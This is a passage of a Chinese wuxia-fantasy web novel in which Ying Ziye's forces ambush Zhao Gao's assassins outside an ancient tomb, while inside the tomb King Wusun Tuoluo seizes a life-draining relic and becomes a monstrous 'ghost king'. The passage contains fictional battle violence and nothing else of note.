葬月谷。
地宫深处,空气阴冷而沉闷,弥漫着千年尘埃与金属摩擦后留下的焦糊气息。
惨绿色的长明灯镶嵌在墙壁上,映照出通道内一片狼藉的景象。
数具身披古朴金甲,手持巨斧或长戈的“战士”倒在地上。
它们并非血肉之躯,而是精巧无比的机关造物!
此刻,它们胸甲或背甲处镶嵌的,原本散发着柔和光芒的能量晶石已然黯淡、碎裂,失去了所有动力。
乌孙陀罗拄着他的金刀,剧烈地喘息着。
华丽的王袍上沾满了灰尘与几处被巨斧划破的裂口,显得有些狼狈。
他身边,大萨满手持骷髅法杖,气息也略显紊乱。
那十二名圣士更是有几人身上挂了彩!
虽然伤势不重,但连续催动血脉之力与内力,对抗这些不知疲倦,力大无穷的机关守卫,也让他们的消耗极大。
“这些该死的铁疙瘩!”
一名圣士忍不住低骂一声,踢了一脚旁边一具失去动力的金甲守卫,发出沉闷的声响。
这些守卫没有内力,不懂招式变化。
但它们的身体坚逾精钢,力量奇大。
更麻烦的是,只要胸口的能量核心不毁,即便断手断脚,它们依旧能持续攻击,直到能量耗尽!
为了摧毁这些拦路虎,他们不得不一次次硬碰硬,或者寻找机会攻击其能量核心。
无论是哪种方式,都极其消耗力量!
“原地休整一刻钟,尽快恢复。”
大萨满沙哑的声音响起,带着不容置疑的威严。
他率先盘膝坐下,开始调息。
圣士们闻言,也立刻各自找地方坐下,吞服丹药,运转**,抓紧时间恢复内力。
乌孙陀罗却没有立刻休息。
他内心的焦灼远比身体的疲惫更甚。
他提着金刀,走到通道一侧的墙壁前。
这里的墙壁不再是粗糙的岩石,而是打磨得相对光滑,上面刻画着一幅幅连贯的,风格古朴却透着一股蛮荒邪异气息的壁画。
壁画的内容,似乎在讲述一个古老的故事,或者说……
一个警告。
最初的几幅。
一个被刻画成巨大弯月形态的神祇。
描绘着大月氏的先民在月神的指引下,发现了这片圣地,并从中获得了某种强大的力量,借此统一部族,抵御外敌,繁荣昌盛。
然而,随着壁画的延伸,情况开始变得诡异!
画面中,那些获得了力量的先民领袖,身形开始变得扭曲、膨胀。
周身缠绕着浓墨重彩描绘出的如同黑色火焰般的“死气”。
他们的面容变得狰狞可怖,眼窝深陷。
嘴角咧开,露出非人的獠牙!
虽然依旧保持着大致的人形。
但那副模样,已然与传说中的“鬼王”无异。
壁画清晰地展示了这种“鬼王”形态所带来的恐怖力量!
挥手间山崩地裂,目光所及万物凋零!
但同时,也描绘出了代价!
那些变成“鬼王”的先民,虽然在战场上所向披靡,但他们脚下的土地在枯萎,身边的族人也在那弥漫的死气中痛苦倒下。
更有一幅壁画。
刻画了一名“鬼王”在力量耗尽后,身体迅速干瘪、腐朽,最终化为飞灰的景象。
乌孙陀罗的手指无意识地抚过壁画上那狰狞的“鬼王”形象,心脏不受控制地剧烈跳动起来。
他明白了,壁画所传达的信息再清楚不过!!
圣地之中确实蕴藏着能力挽狂澜的终极力量。
但这股力量,是以燃烧生命,化身非人为代价的。
一旦接受,或许能获得短暂的毁天灭地的能力。
但最终很可能不得善终,甚至殃及周围。
一股寒意顺着脊椎爬上了他的后脑勺。
壁画上那“鬼王”扭曲的面容,仿佛在无声地嘲笑着他这位后世子孙的困境。
值得吗?
为了一个即将灭亡的国家,付出如此可怕的代价?
变成那副不人不鬼的模样,甚至可能加速自己和族人的死亡?
这个念头只在他脑海中存在了一瞬。
便被一股更加炽烈的名为责任与不甘的火焰彻底焚毁!!
他猛地握紧了拳头,指甲深深掐入掌心,带来刺痛感,却让他更加清醒。
他回头看了一眼正在闭目调息的大萨满和圣士们,又仿佛透过厚重的地宫岩壁,看到了外面正在被秦军和匈奴肆虐,烽火连天的故土。
“值得!”
乌孙陀罗几乎是咬着牙,从喉咙里挤出这两个字!
声音低沉却带着一种破釜沉舟的疯狂!
“为了大月氏不亡,为了先祖的基业不毁于本王之手……”
“任何代价,本王都愿意付出!”
他的目光重新回到壁画上那狰狞的“鬼王”形象时,不再有恐惧。
反而涌现出一种近乎病态的狂热与决绝!
“鬼王又如何?”
“只要能拥有力量,能杀光秦狗,能驱逐匈奴,能重现大月氏荣光……”
“就算化身修罗,永堕地狱,本王也在所不惜!”
他深深吸了一口地宫中冰冷污浊的空气,仿佛要将那壁画中描绘的“死气”也一并吸入体内,转化为复仇的动力。
“休息够了就起来!”
乌孙陀罗转过身,声音恢复了属于王者,不容置疑的威严,甚至比之前更加冰冷刺骨!
“继续前进!”
“无论前面还有什么,无论要付出什么,圣地核心的力量,本王……志在必得!”
大萨满缓缓睁开眼。
看着乌孙陀罗那决绝中带着一丝癫狂的背影。
骷髅法杖上的骨铃发出细微的轻响!
他浑浊的眼中闪过一丝极其复杂的情绪,最终化为一声几不可闻的叹息,站起身,默默跟上。
十二圣士也纷纷起身,依旧沉默,如同最忠诚的影子。
护卫着他们那已然下定决心,不惜一切代价也要获取力量的王,向着地宫更深处继续迈进!
……
数日之后。
石堡城,秦军帅府大堂内,气氛凝重得如同铅块。
田言风尘仆仆,却依旧保持着清冷镇定,将赢子夜的命令一字不差地转述给了蒙犽及在场的诸位将领。
当听到“立刻撤出所有从楼兰、龟兹国境内占领的城池、据点,将军队收缩至原大月氏东部边境防线之内”时,大堂内瞬间一片哗然!
“什么?放弃楼兰、龟兹的城池?”
一名脸上带着刀疤的校尉猛地站起身,情绪激动,声音因为不敢置信而有些变形。<
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br>“田言姑娘,您没传错命令吧?”
“那十几座城,是咱们多少弟兄拿命填下来的!”
“每一寸城墙都浸透了血!”
“就这么……就这么白白还回去?!”
“是啊!蒙将军!”
另一名将领也忍不住开口,脸上满是不甘与愤懑。
“弟兄们拼死拼活打下来,如今说放弃就放弃,这……这让我们如何跟下面那些战死的弟兄们交代?”
“这口气,咽不下去啊!”
“殿下此举,未免……未免太过……”
有人低声嘟囔,虽未明说,但那质疑之意已然明显。
一时间,抱怨声、不解声、甚至隐隐的抵触情绪在大堂内弥漫开来。
这些浴血奋战的将领,可以接受战死沙场。
却难以接受如此“不战而退”,将浴血夺来的疆土让人!
若非命令来自赢子夜,恐怕当场就要有人抗命了!
田言静静地站在那里,没有解释,只是将目光投向主位的蒙犽。
蒙犽独臂撑着沙盘边缘,眉头紧锁。
他心中的不解与痛惜,丝毫不比麾下将领少。
那些城池,同样是他蒙犽带着将士们一寸寸打下来的。
每一座城的名字,都关联着无数鲜活的面孔和惨烈的记忆。
他深吸一口气,强压下翻腾的情绪,目光死死盯住沙盘上那代表着已占领楼兰城池的标记。
放弃?
殿下绝非怯战之人,更非昏聩之主。
此举必有深意!
他的目光在沙盘上移动。
从楼兰、龟兹诸城,移到己方控制的东部防线,再移到匈奴主力盘踞的赤石隘方向,以及更远处那片代表西域诸国的广袤区域……
渐渐地,他紧锁的眉头微微舒展,眼中闪过一丝恍然。
“都闭嘴!”
蒙犽低沉的声音响起,带着不容置疑的威严,瞬间压下了堂内的嘈杂。
所有将领都看向他。
蒙犽用那仅存的右臂,指向沙盘,声音沉缓却清晰地分析道:
“你们只看到我们放弃了十几座城,却看不到殿下此举背后的战略考量!”
他手指点向楼兰诸城。
“我们占据这些城池,看似开拓了疆土,但也将我们本就有限的兵力,分散在了一条漫长,易攻难守的战线上!”
“楼兰、龟兹等国,如今虽弱,但若被我们逼得太紧,他们很可能彻底倒向匈奴,或者彼此联合,届时我们就要面对更多敌人的骚扰,腹背受敌!”
他的手指划向己方东部防线。
“而收缩兵力,固守这条我们经营已久,相对稳固的东部防线,不仅能集中力量,更能……”
他的手指猛地指向代表匈奴的灰色标记,语气加重!
“……更能让西域诸国看清楚,我们大秦的主要敌人,是匈奴!”
“我们让出楼兰,就是向他们表明,我们无意吞并他们,我们最大的威胁,是那个背信弃义,企图吞并整个西域的匈奴头曼!”
蒙犽的目光扫过众将,带着一种洞悉局势的冷静。
“一旦我们撤军,楼兰、龟兹等国,必然重新掌控他们的土地。”
“而面对咄咄逼人,杀**他们盟友,并且显然也想吞掉他们的匈奴,你们说,他们会怎么做?”
第406章 守株待兔!
堂内寂静无声,将领们似乎有些明白了。
“他们会恐惧,会愤怒!”
蒙犽斩钉截铁地说道。
“他们会重新组织起来,为了自保,必然会与匈奴爆发冲突!”
“届时,匈奴就要同时面对来自西域联军和我们大秦东线防线的压力!”
“殿下这是以退为进,驱狼吞虎,让我们能从与西域诸国的纠缠中抽身出来,集中精力,对付匈奴这条恶狼!”
“同时,也让西域诸国去消耗匈奴的实力!”
这番分析,如同拨云见日,让原本愤懑不解的将领们茅塞顿开!
脸上的不甘渐渐被叹服取代。
原来殿下的目光如此长远,布局如此深远。
“末将……明白了!”
那刀疤校尉率先抱拳,脸上再无怨气,只有敬佩。
“末将等遵命!”
其他将领也纷纷躬身领命,再无异议,迅速退出大堂,前去执行这看似“退缩”,实则蕴含着战略意图的命令。
待众将离去,大堂内只剩下蒙犽和田言。
蒙犽看向田言,语气带着一丝不易察觉的担忧。
“田言姑娘,殿下深入险地,争夺那虚无缥缈的遗迹……”
“他可曾交代,一旦得手,或者事有不谐,该如何撤离?”
“退路在何方?”
田言轻轻摇了摇头,清冷的脸上也闪过一丝无奈。
“殿下未曾明言。”
“或许……是因为圣地情况未明,变数太多,难以预先设定一条万全的退路。”
蒙犽闻言,沉默了片刻。
他的目光再次落回到那巨大的西域沙盘上。
手指,无意识地划过葬月谷圣地所在的大致区域。
又扫过周围错综复杂的地形,匈奴的势力范围,以及己方控制的区域。
殿下的安危,重于一切。
既然殿下无法预设退路,那他蒙犽,就必须为殿下准备好一条生路。
他眼中闪过一丝决绝,沉声对田言道:“田言姑娘,安抚后方,协调防务之事,便拜托你了。”
随即,他召来一名绝对忠诚,心思缜密的亲信校尉,压低声音,下达了一道密令。
“你,立刻去军中,挑选五百最精锐,最擅长山地奔袭与隐匿的骑兵。”
“要绝对可靠,口风要紧!”
“准备好十日干粮,配备双马,全员轻甲,携带强弓劲**,随时待命!”
他指着沙盘上几个隐秘的,靠近葬月谷方向的山谷和绿洲节点,目光锐利。
“没有我的亲笔手令,任何人不得调动这支兵马。”
“一旦……一旦接到殿下发出的特殊求援信号,或者有确切消息表明殿下需要接应,我要你立刻率领这支人马,以最快速度,沿着这几条备用路线穿插接应!”
“不惜一切代价,也要确保殿下安全归来!”
“明白吗?”
那校尉神色一凛,重重抱拳。
“末将明白!誓死接应殿下!”
蒙犽点了点头,挥挥手让他下去准备。
……
葬月谷外围。
风化的巨石如同沉默的巨兽匍匐在苍茫大地之上,嶙峋的怪石投下扭曲的阴影。
赢子夜、卫庄以及逆流沙众人,如同融入这片荒芜景色的一部分。
悄无声息地,潜伏在一处能够俯瞰圣地地宫入口的高耸岩脊之后。
地宫的入口,并非想象中的宏伟门户。
而是一个嵌入山体基岩,毫不起眼的幽深洞穴。
若非事先知晓,极易被人忽略。
但此刻,洞穴周围弥漫的那股若有若无的阴冷能量波动,以及洞口附近几处看似自然,实则暗藏杀机的岩石缝隙和阴影角落,都昭示着这里的不同寻常。
赢子夜的目光锐利如鹰,扫过洞口四周。
他能清晰地感知到,那些岩石缝隙和阴影中,蛰伏着至少二十道气息阴冷,如同毒蛇般的身影!
他们与周围环境完美融合,呼吸近乎停滞。
正是赵高留下看守入口,负责传递消息和阻拦后来者的罗网**!
“赵高倒是谨慎,自己进去夺宝,还不忘留人看门。”
赤练舔了舔红唇,眼中闪过一丝嗜血的光芒。
赢子夜缓缓收回目光,嘴角勾起一抹冰冷的弧度,看向身旁抱臂而立,灰眸淡漠的卫庄。
“卫庄先生,看来我们想安安静静地看戏,得先清理一下舞台周围的‘杂音’。”
卫庄甚至连眼神都懒得给那些隐藏的罗网**,只是淡淡地吐出两个字。
“碍事。”
赢子夜颔首,不再多言。
他微微抬手,对着身后阴影处做了一个极其隐蔽的手势。
下一刻,杀戮,在寂静中骤然爆发!
没有呐喊,没有预警。
数道黑影如同鬼魅般从不同的方向,以远超常人视觉捕捉的速度,扑向了那些罗网**潜伏的地点!!
是暗河的精锐,在赵弋苍的带领下出手了!
同时,白凤的身影如同瞬移般出现在一名
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藏身于石缝中的罗网**头顶。
一片轻飘飘的羽毛落下,那**刚有所警觉,喉咙已被羽毛边缘划开,鲜血无声涌出!
另一侧,隐蝠如同真正的蝙蝠,贴着岩壁滑行。
利爪轻易撕开了一名试图发出警报的**的咽喉。
赤练则如同暗夜中的舞者,红影闪动间,袖**蛇飞射而出,精准地咬中目标。
或是挥洒出无色无味的毒粉,让附近的罗网**在极致的痛苦中无声毙命!
逆流沙与暗河的配合,谈不上精妙,却高效得令人胆寒!
他们如同最专业的清道夫。
精准、迅速、无情地清理着每一个目标。
那些罗网**并非庸手。
其中不乏地字级甚至接近天字级的好手。
但在有心算无心,以及绝对的实力碾压下,他们甚至连像样的反抗都无法组织起来!
偶尔有几声短促的兵刃交击或闷哼响起,也迅速被谷地的风声所吞没。
不过一炷香的时间,地宫入口周围再次恢复了死寂。
只是这死寂中,多了一丝浓郁得化不开的血腥气!
原本潜伏着**的阴影和石缝处,此刻只留下了一具具逐渐冰冷的尸体。
赵弋苍的身影悄然出现在赢子夜身侧,低声道:“主上,外围耳目已清除干净,共二十三人,无一人漏网,也未让其发出警报。”
赢子夜点了点头。
目光,再次投向那幽深的地宫入口。
“赵高和头曼都不是易与之辈,乌孙陀罗既然敢来,必然也有倚仗。”
“这地宫之中,此刻恐怕已是龙潭虎穴。”
他轻声说道,像是在自语,又像是在对卫庄说。
卫庄冷哼一声,鲨齿剑在鞘中发出细微的嗡鸣,灰眸中战意流转。
“龙潭虎穴?正好。”
赢子夜微微一笑,那笑容中带着智珠在握的冷静与一丝期待。
“鹬蚌相争,渔翁得利。”
“我们现在要做的,就是当好这个最有耐心的‘渔翁’。”
他缓缓坐下,靠在一块冰冷的岩石上,闭上了双眼,气息变得悠长而内敛。
“传令下去,所有人,隐匿气息,静观其变。”
他的声音平静无波,却带着不容置疑的决断。
“接下来,便是守株待兔了。”
卫庄也抱剑靠在一旁,闭目养神,仿佛外界的一切都与他无关。
赤练、白凤、隐蝠等人也各自寻了隐蔽之处,如同石雕般潜伏下来。
第407章 争夺开始!
地宫最深处。
空间豁然开朗,竟是一座巨大的天然石窟!
石窟顶端垂落着无数散发着幽蓝微光的钟乳石,将整个空间映照得如同幽冥鬼域。
石窟中央,并非想象中的祭坛或神像。
只有一枚约莫拳头大小,形似杏核,通体呈现暗金色,表面布满天然玄奥纹路的核体,静静地悬浮在半空之中,缓缓自转着。
它没有散发出任何强大的能量波动,甚至显得有些朴实无华。
但一种源自生命本能的悸动与渴望,却无声地侵蚀着在场每一个人的心神!
乌孙陀罗呼吸急促!
眼中爆发出近乎疯狂的贪婪光芒!
他死死盯着那枚暗金核体,所有的牺牲,所有的艰难,仿佛在这一刻都有了意义!
“就是它!先祖之力!挽救大月氏的希望!”
他喃喃自语,伸出颤抖的手,就要向那核体抓去。
“呵呵呵……大王,何必如此心急?”
一个阴柔谄媚,却带着刺骨寒意的笑声,突兀地在石窟中响起。
下一刻,数道身影如同鬼魅般从入口处的阴影中迈出!
为首的,正是面带虚伪笑容的赵高。
他身后跟着气息晦涩的掩日。
以及真刚、魍魉等罗网顶尖**。
更让乌孙陀罗心头一沉的是,赵高身侧,还站着那位身披紫袍,面容绝美却眼神放空的阴阳家东君——
焱妃。
“赵高!你这背信弃义的阉狗!”
乌孙陀罗猛地收回手,惊怒交加,金刀直指赵高!
“你想干什么?!”
“干什么?”
赵高脸上的笑容不变,细长的眼睛里却闪烁着毒蛇般的冷光。
“自然是替大王……保管这烫手的山芋了。”
“此等神物,岂是你能染指的?”
“放肆!”
大萨满怒喝一声,骷髅法杖顿地,周身幽光暴涨!
十二圣士也瞬间结阵,气息连成一体,锁定了赵高一行人!
然而,赵高却是有恃无恐,他目光转向一旁的焱妃,语气带着一种令人不寒而栗的亲切。
“东君阁下,看来需要您,先请这位聒噪的大萨满安静一下了。”
焱妃身体微不可察地颤抖了一下!
那双放空的美眸中闪过一丝极其复杂的痛苦与挣扎。
但最终,她还是缓缓抬起了手,深紫色的阴阳二气开始在她指尖汇聚!
为了女儿,她别无选择。
乌孙陀罗见状,眼中闪过一丝狠厉。
他猛地看向焱妃,厉声威胁道:“焱妃!你若敢动手,本王立刻让你女儿……”
“没用的,大王。”
赵高轻笑着打断了他,语气带着一种掌控一切的得意。
“您以为,本官会毫无准备地将那小丫头的性命,交到您手上作为筹码吗?”
他慢条斯理地从袖中取出一个小巧的玉瓶,在指尖把玩着。
声音如同冰锥,刺入焱妃和乌孙陀罗的心底!
“姬如千泷的身上,早已被罗网种下了‘蚀骨断魂散’。”
“此毒无色无味,平时潜伏,若无独门解药压制,三个月内,必定骨销魂断,神仙难救。”
“解药嘛……呵呵,自然只有本官这里有。”
“所以,东君阁下很清楚,该听谁的话。”
“你……!”
乌孙陀罗气得浑身发抖!
他没想到赵高竟然如此阴毒,连最后的利用价值都要加上如此恶毒的枷锁。
焱妃闻言,娇躯剧震!
看向赵高的眼神中充满了刻骨的仇恨。
但那抬起的手,却终究没有放下。
女儿的性命,如同最沉重的锁链,将她牢牢束缚!
“动手!”
赵高不再废话,冷声下令。
掩日身形一动,如同融入阴影,直扑乌孙陀罗。
真刚、魍魉则带着其他罗网**,悍然冲向结阵的十二圣士。
焱妃闭上双眼,仿佛不忍再看。
但玉手挥出,一道磅礴的阴阳合气手印,已然带着碾碎一切的气势,轰向严阵以待的大萨满!
大萨满怒吼!
骷髅法杖挥舞,引动地宫阴气!
凝聚成一面巨大的鬼面盾牌迎上!
“轰——!”
巨大的轰鸣声在地宫深处炸响!!
能量碰撞的冲击波如同实质般扩散开来,震得整个石窟都在微微颤抖。
兵刃交击声、怒吼声、惨叫声瞬间响成一片。
罗网**与十二圣士绞杀在一起。
掩日的剑光与乌孙陀罗的金刀疯狂碰撞。
焱妃与大萨满的阴阳术与巫蛊之力激烈对撞!
混乱!
彻底的混乱与死斗,在这圣地核心之地轰然爆发!!
……
与此同时。
地宫之外。
一直闭目凝神的赢子夜猛地睁开了双眼,眼中紫电一闪而逝。
他清晰地感知到了从地宫入口深处传来的
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那沉闷却剧烈的能量轰鸣与震动。
“争夺开始了!”
赢子夜声音冷静,却带着一丝期待。
他豁然起身,对着潜伏在周围的卫庄、赤练、白凤、赵弋苍等人沉声下令。
“所有人,听令!”
“封锁地宫出口!”
“没有我的命令,任何人——”
“无论出来的是谁,是赵高、是乌孙陀罗……”
“一律格杀,绝不能放出去一个!”
“诺!”
众人凛然应命,杀气瞬间弥漫开来。
卫庄的鲨齿剑已然出鞘半寸,灰眸锁定入口。
白凤跃上最高点,目光如炬。
赤练腕间毒蛇嘶鸣。
暗河精锐与逆流沙众人如同一张无形的大网,将地宫出口死死罩住!!
恰在此时。
赢子夜怀中的通讯符箓再次发烫。
他迅速取出,神识沉入,脸色微微一凝。
符箓传来的是负责监视匈奴动向的暗河成员急报。
“主上!匈奴单于头曼亲率主力,已攻破大月氏王庭最后屏障‘落日关’,兵锋直指王都!”
“其麾下猛将,‘血狼王’赫连勃勃,已率领其亲卫‘苍狼卫’五千精锐,脱离主力,正以极快速度,朝着葬月谷方向奔袭而来!”
“预计最多一日便可抵达!”
“血狼王?赫连勃勃?苍狼卫?”
赢子夜轻声重复着这几个充满蛮荒煞气的名字,嘴角却勾起一抹冰冷到近乎残酷的笑意。
“来得正好!”
他眼中非但没有惧色,反而燃起了更盛的斗志!
“本想只钓赵高和乌孙陀罗这两条鱼,没想到头曼还送来一头狼!”
“既然如此,那便一并收拾了!”
他看向赵弋苍和几名精通机关阵法的暗河成员,语速极快地下令。
“赵弋苍,你带人继续盯死地宫出口,一只苍蝇也不能放出来!”
“其他人,随我来!”
赢子夜不再停留,身形如电,朝着葬月谷外围,那血狼王赫连勃勃最可能来袭的方向疾驰而去!
他一边疾行,一边对紧随其后的部下吩咐。
“立刻在外围通道、隘口,以及他们必经的几处开阔地,布下‘九幽玄雷阵’和‘万刃流沙陷’!”
“材料不够,就用现有的符箓和机关弥补!”
“我要让那头曼引以为傲的苍狼卫,未到地宫,先折一半在这葬月谷外!”
“诺!”
第408章 这就是力量的感觉吗?
地宫核心。
石窟内。
混乱的死斗已臻白热化!!
金铁交鸣声,能量爆裂声,怒吼与惨叫声交织成一片,将这片幽蓝的空间渲染得如同炼狱!
乌孙陀罗浑身浴血。
赵高的实力远超他的预估。
那诡异阴柔的掌力如同附骨之疽,不断侵蚀着他的经脉。
掩日那神出鬼没的剑锋,更是在他身上留下了数道深可见骨的伤口!
他手中的金刀已然卷刃,呼吸如同破风箱般粗重。
另一边,十二圣士虽凭借合击之术与血脉之力暂时挡住了真刚、魍魉等罗网**的猛攻。
但也人人带伤,阵型摇摇欲坠。
大萨满与焱妃的战斗更是惊天动地。
阴阳二气与巫蛊死气不断碰撞湮灭!
两人嘴角皆溢出了鲜血,显然都受了不轻的内伤。
败局似乎已定。
乌孙陀罗眼中充满了绝望与不甘,他死死盯着那悬浮在半空,依旧毫无动静的暗金核体。
先祖的荣光,复国的希望,难道就要在此刻彻底断绝?!
不!绝不!
一股疯狂的念头如同毒火般在他心中燃起!!
与其被赵高这阉狗杀死,不如……赌上一切!!!
就在赵高一掌印向他胸膛,掌风中那阴寒刺骨的内力即将彻底爆发之际,乌孙陀罗眼中闪过一丝决绝的厉色!
他非但没有格挡或闪避,反而猛地一咬牙,将残存的所有内力尽数灌注于双腿。
身体如同断线的风筝般,借助赵高这一掌之力,以一种近乎自残的方式,向着那暗金核体倒飞而去!
“噗!”
赵高的掌力结结实实地印在他的后心。
乌孙陀罗狂喷一口鲜血,五脏六腑仿佛都移位了。
但他脸上却露出了一丝狰狞的笑意。
他的手,已然触碰到了那枚暗金核体!
“蠢货!找死!”
赵高先是一愣,随即嗤笑。
在他看来,乌孙陀罗这是狗急跳墙,自取灭亡!
然而,下一幕,让所有人瞳孔骤缩!
就在乌孙陀罗的手指握住那核体的瞬间!
“咔嚓!”
一声清脆的碎裂声响起!
那看似坚不可摧的暗金外壳,竟如同蛋壳般寸寸碎裂,剥落下来!
露出的,并非什么神光熠熠的宝物。
而是一枚约莫鸡蛋大小,通体血红,内部仿佛有粘稠血液在流动的诡异晶体!
这血色晶体出现的刹那,一股难以形容,充满了死亡、腐朽、吞噬意味的恐怖气息,如同风暴般瞬间席卷了整个石窟!!
石窟顶端那些散发幽蓝微光的钟乳石,光芒竟肉眼可见地黯淡了下去。
“啊!!!”
乌孙陀罗发出了凄厉至极,不似人声的惨叫。
那血色晶体仿佛活物一般。
死死吸附在他的掌心。
一股无法抗拒,冰冷彻骨的吞噬力量,疯狂地抽取着他的生命力!!
他原本还算壮硕的身躯,以肉眼可见的速度干瘪下去。
皮肤失去光泽,皱纹迅速爬满脸颊,头发变得灰白枯槁。
更可怕的是。
这股吞噬之力并不仅仅针对乌孙陀罗。
它以乌孙陀罗为中心,形成了一个无形的力场。
石窟内所有正在运转内力的人,都骇然发现自身的内力如同决堤的洪水,不受控制地向外倾泻,被那力场疯狂吸收!
“不好!快退!”
赵高脸色剧变,第一个抽身后撤!
掩日、真刚等人也毫不犹豫地脱离战团,飞速后退。
焱妃与大萨满的对轰也戛然而止。
两人皆感受到内力流失。
惊骇地看向那血色晶体和惨叫的乌孙陀罗!
十二圣士的合击阵型瞬间瓦解,个个脸色苍白,气息萎靡。
罗网**和圣士们也都仓皇退开,与那恐怖的力场拉开距离!
仅仅几个呼吸的时间,乌孙陀罗已然模样大变!
他原本威严的面容此刻干枯如同骷髅,眼窝深陷,嘴唇干裂,周身笼罩着一层浓郁得化不开的灰黑色死气,仿佛刚从坟墓中爬出的千年尸王!
唯有那双眼睛,燃烧着一种混合了极致痛苦与疯狂力量的诡异火焰!
他停止了惨叫,感受着体内那奔腾咆哮,仿佛能毁天灭地的庞大力量!
这力量是如此浩瀚,让他感觉自己举手投足间便能撕裂虚空!
但与此同时。
他也清晰地感知到,自己的生命力正在以一种恐怖的速度流逝。
照此下去,最多两个时辰,他就会被这力量活活吸干,化为飞灰。
“力量……这就是力量!哈哈哈!”
乌孙陀罗发出沙哑如同夜枭般的狂笑,声音中充满了癫狂。
“只要能复仇,只要能杀光你们……值得!”
赵高眼神阴鸷,他看出了乌孙陀罗的状态不对,那血色晶体显然是一把极度危险的双刃剑。
他绝不能放任一个拥有如此力量,却又濒临死亡的疯子
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不管。
“杀了他!趁他现在还未完全掌控力量!”
赵高厉声下令。
两名距离较近的罗网地字级**闻言,虽然心悸于那死气力场,但还是硬着头皮,挥舞淬毒短剑,从左右两侧悍然扑向形如鬼魅的乌孙陀罗!
面对袭来的**,乌孙陀罗那死气弥漫的脸上露出一抹残忍的狞笑。
他甚至没有做出任何防御或闪避的动作,只是随意地抬起那如同枯枝般的手掌,对着两名**的方向,虚空一握!
“嗡!”
那两名**前冲的身影骤然僵住!!!
他们惊恐地发现,自己全身的精血与内力,竟不受控制地破体而出,化作两道殷红的血流,如同百川归海般,被乌孙陀罗掌心那微缩的血色晶体疯狂吞噬!
“不!”
凄厉的惨叫戛然而止。
两名**在众人骇然的目光中,迅速干瘪、碳化。
最终化作两具轻飘飘的一碰即碎的焦黑枯骨,散落在地。
而吸收了这两名**生命力的乌孙陀罗,周身那浓郁的死气似乎凝实了一分。
干瘪的躯体也仿佛充盈了少许。
那生命流逝的速度,竟真的被延缓了一丝。
“哈哈哈!有用!果然有用!”
乌孙陀罗感受着体内那短暂得到补充的生命力,发出了更加兴奋和疯狂的咆哮!
他那双燃烧着鬼火的眸子,瞬间锁定了退到远处的赵高、掩日、焱妃等人。
“把你们的命……都给我!!”
他发出一声不似人类的怒吼!
周身死气轰然爆发,如同来自九幽的魔神,带着吞噬一切的恐怖气势,朝着赵高等人疯狂扑去!
“快走!”
赵高脸色彻底变了,再也顾不得什么遗迹宝物,毫不犹豫地转身,朝着来时的通道疾驰而去。
掩日、真刚、魍魉等人更是亡魂大冒,紧随其后。
焱妃复杂地看了一眼那状若疯魔的乌孙陀罗,又看了一眼赵高逃离的方向,一咬牙,紫袍卷动,也化作流光遁走。
大萨满和残存的圣士们更是面如死灰,哪里还敢停留。
拼尽最后力气,朝着另一个方向的岔路疯狂逃窜!
刚才还激战正酣的石窟,转眼间便只剩下那吞噬了血色晶体,化身“鬼王”,正在疯狂追逐生命力的乌孙陀罗。
以及满地的狼藉与尸体!
地宫深处,只回荡着他那疯狂而饥渴的咆哮,以及生命被强行抽取时发出的短暂惨嚎!!!
第409章 你们别挡路啊!
葬月谷地宫之外。
原本死寂的荒芜景象被彻底打破!
卫庄等人同时感到脚下的大地传来一阵剧烈的如同地龙翻身般的晃动!!!
紧接着。
一股浓郁到令人作呕,冰冷刺骨仿佛能冻结灵魂的灰黑色死气,如同火山喷发般,猛地从那个幽深的地宫入口汹涌而出!
这股死气所过之处,地面上的稀疏植被瞬间枯萎焦黑。
连岩石表面都覆盖上了一层薄薄的白霜,空气中的温度骤降!!
“退!”
卫庄灰眸一凝,没有任何犹豫,低喝一声,身形已如鬼魅般向后飘退十数丈。
鲨齿剑横于身前,冰冷的杀气与那蔓延的死气隐隐对抗!
赤练、白凤、赵弋苍等人也瞬间反应,各自施展身法,迅速与地宫入口拉开了安全距离。
人人脸上都带着凝重与戒备,目光死死锁定那如同巨兽般吞吐着死亡气息的洞口。
这突如其来的异变,绝非好事。
然而,祸不单行!
“嗷呜!”
“嘶嘶!”
“吼!”
就在众人全神贯注盯着地宫入口时,四面八方骤然响起了无数令人毛骨悚然的野兽嘶吼。
只见圣地周围那些风化的巨石后,幽深的沟壑中,猛地涌出了密密麻麻的野兽。
有体型硕大,獠牙外露的荒原狼。
有双目赤红,鳞片倒竖的沙蝰。
有翼展惊人,利爪如钩的秃鹫!
它们仿佛被那地宫中溢出的死气与某种更原始的力量所刺激,完全陷入了疯狂的状态!
赤红的眼睛里只剩下毁灭与杀戮的本能,如同潮水般向着他们所在的位置扑来!!
“阻止它们!”
“杀!”
无需命令,暗河精锐与逆流沙众人已然动了。
赵弋苍独臂挥刀,刀光如雪,瞬间将扑到近前的几头荒原狼斩成两段。
赤练袖**蛇飞射,精准地咬中沙蝰的七寸!
白凤身形在兽群上空极速闪烁,所过之处,片片洁白的羽毛如同利刃般收割着生命!
隐蝠则发出怪笑,如同真正的蝙蝠在兽群中穿梭,利爪带起蓬蓬血雨!
卫庄并未理会这些疯狂的野兽。
他的目光始终没有离开地宫入口。
鲨齿剑微微低垂,但剑身那低沉的嗡鸣却显示着他已蓄势待发。
就在兽群的冲击被暂时遏制住的刹那!!
“咻!”
“咻!”
“咻!”
数道狼狈不堪的身影,如同丧家之犬般,以最快的速度从地宫那喷涌着死气的入口飞射而出!
为首者,正是脸色苍白,官袍破损,再无半分从容的赵高。
而他身后,掩日、真刚、魍魉等罗网核心也是人人带伤,气息紊乱。
眼中还残留着未散的惊骇。
仿佛刚刚从九幽地狱中逃脱出来!
他们一冲出地宫,根本顾不上看清外面的形势,也来不及理会那些疯狂的野兽和严阵以待的逆流沙、暗河等人。
只有一个念头——
逃!!!
离那个鬼地方,离那个怪物越远越好。
赵高甚至来不及整理仪容,目光仓皇四顾。
第一时间就寻找着撤离的方向。
那副狼狈与惊惧,与他平日里的阴鸷深沉判若两人。
……
葬月谷外围。
赢子夜正将最后一道闪烁着雷光的符箓打入预定地脉节点。
整个陷阱阵法的脉络隐隐连成一片,只待引动,便能爆发出恐怖的威力。
就在这时,他心有所感,猛地抬头望向圣地核心方向。
尽管相隔数里,那股冲天而起,冰冷死寂的浓郁死气,以及隐约传来的野兽疯狂嘶吼与能量剧烈碰撞的波动,如同无形的警钟,狠狠敲击在他的心头!
“好浓烈的死气……还有兽潮?”
赢子夜眉头瞬间紧锁,眼中闪过一丝惊疑。
这绝非正常现象。
更不像是赵高或乌孙陀罗任何一方得手后应有的动静。
地宫之内,定然发生了超出预料的惊天变故!!
